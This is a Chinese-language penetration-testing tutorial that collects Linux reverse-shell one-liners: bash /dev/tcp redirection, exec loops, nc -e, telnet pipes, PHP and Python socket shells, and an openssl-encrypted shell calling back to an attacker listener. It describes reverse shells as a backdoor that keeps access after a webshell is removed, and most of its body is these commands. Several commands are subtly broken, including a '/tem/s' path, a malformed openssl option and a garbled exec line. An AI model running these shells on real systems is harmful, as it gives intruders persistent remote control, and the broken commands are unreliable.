渗透测试-Linux反弹shell

Linux反弹shell

文章目录

  • Linux反弹shell
  • 前言
  • 一、什么是反弹shell
  • 二、Linux反弹shell的几种方法
    • 1. bash反弹shell
      • 反弹shell
    • 2. 常用的反弹shell命令
    • 3. 基于编程语言的反弹shell
    • 4. 加密反弹shell
  • 总结

前言

哥哥姐姐们,这期我们简单介绍一下Linux反弹shell的几种方法。

一、什么是反弹shell

shell是渗透中常用的名词,像getshell,webshell,反弹shell等等,都和shell相关。
百度百科解释的shell:
在计算机科学中,Shell俗称壳(用来区别于核),是指“为使用者提供操作界面”的软件(命令解析器)。它类似于DOS下的command.com和后来的cmd.exe。它接收用户命令,然后调用相应的应用程序。
简单说用户通过壳访问操作系统内核的服务,也就是由壳到内核,执行系统命令。
getshell:获取到目标的命令执行权限
webshell:指网站后门,通过web服务进行命令执行
反弹shell:把命令行的输入输出转移到其它主机

1、webshell下执行命令不交互,为了方便提权或其它操作必须要反弹shell。
2、反弹shell相当于新增一个后门,当webshell被发现删除后权限不会丢失。

二、Linux反弹shell的几种方法

1. bash反弹shell

在进行实验前,我们复习一下Linux文件操作的一些常用命令
Linux文件操作
whoami
whoami;pwd
mkfifo p
ls -la p

exec 1>p(将输出输入到p文件中)
whoami
pwd
ipconfig
ifconfig

cat p(查看文件内容)

read user
abc
echo $user
abc
exit(退出)

反弹shell

环境搭建
Centos7,kali

先在kali上进行监听
nc -lvvp 6666(控制端kali)
渗透测试-Linux反弹shell_第1张图片
在Centos7输入
(bash)(交互式输出)
bash -i > /dev/tcp/192.168.222.131/6666(被控端)
bash -i > /dev/tcp/192.168.222.131/6666 0>&1
渗透测试-Linux反弹shell_第2张图片
连接成功,回到kali查看
渗透测试-Linux反弹shell_第3张图片
连接成功。
渗透测试-Linux反弹shell_第4张图片
返回数据成功,在目标主机输入的命令,都会在kali中输出来。
会将被控端执行的命令返回到kali中,输入
bash -i < /dev/tcp/192.168.222.131/6667
这个返不回数据,可能是出问题了吧

混合输出(将错误结果一起输出来)
(将终端直接在kali中输出执行了)
bash -i &> /dev/tcp/192.168.222.131/6667 0>&1
bash -i > /dev/tcp/192.168.222.131/6666 0>&1 2>&1
渗透测试-Linux反弹shell_第5张图片
渗透测试-Linux反弹shell_第6张图片
返回数据成功,实验结束。

2. 常用的反弹shell命令

  1. bash进行反弹
    (1)在windows上启动监听端口

nc -lvp 4444
l:代表入站监听
v:代表输出信息级别
p:代表监听的端口

(2)在Linux上允许反弹shell
bash -i >& /dev/tcp/192.168.0.1/4444 0>&1

bash -i:打开一个交互式的bash

(>&):将标准错误输出合并并重定向到标准输出,也可以写成&>
/dev/tcp/192.168.0.1/4444:调用socket,建立socket连接,其中192.168.0.1为要反弹的主机IP,4444为端口
0>&1:标准输入重定向到标准输出,实现你与反弹出来的shell的交互,可以接受用户输入,0>&1和0<&1作用相同

/dev/tcp 说Linux的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个bash命令行的过程中。

三种输入输出的状况:
标准输入:代码为0;或称为stdin;使用的方式为<
标准输出:代码为1;或称为stdout;使用方式为1>
错误输出:代码为2;或称为stderr;使用方式为2>

  1. 使用exec执行shell的方式

exec 5<> /dev/tcp/192.168.0.1/4444; cat <&5 | while read line; do $line 2>&5 >&5; done

  1. 其他方式

exec 0&0 2>&0 0<&196;exec 196<>/dev/tcp/192.168.0.1/4444; sh <&196 >&196 2>&196

  1. 使用nc进行反弹shell
    (1)启动kali监听
    nc -lvp 4444
    (2)靶机反弹shell
    nc -e /bin/bash 192.168.0.1 4444
  2. 使用telnet进行反弹
    (1)在攻击机上启两个端口,一个输入,一个输出
    nc -lvp 4444
    nc -lvp 5555
    (2)在目标机上反弹
    telnet 192.168.0.1 4444 | /bin/bash | telnet 192.168.0.1 5555

3. 基于编程语言的反弹shell

1、基于PHP的反弹
php -r ‘$sock=fsockopen(“172.16.1.130”,4444);exec(“/bin/sh -i <&3 >&3 2>&3”);’

2、基于python反弹shell
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((“172.16.1.130”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,“-i”]);’

4. 加密反弹shell

1、在攻击机上生成证书

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
国家代码输入cn

2、在攻击机上监听

openssl s_server -quiet -key key.pem -cert.pem -port 4444

3、在目标机上执行反弹

mkfifo /tem/s; /bin/bash -i < /tem/s 2>&1 | openssl s_client -quiet -connect 192.168.0.1:4444 > /tem/s;rm /tem/s

总结

本次实验简单介绍了Linux反弹shell的几种使用方法,反弹shell的用法就介绍到这了,大家可以对相应的方法,进行实践操作练习。

你可能感兴趣的:(渗透测试,安全性测试,web安全,安全,linux)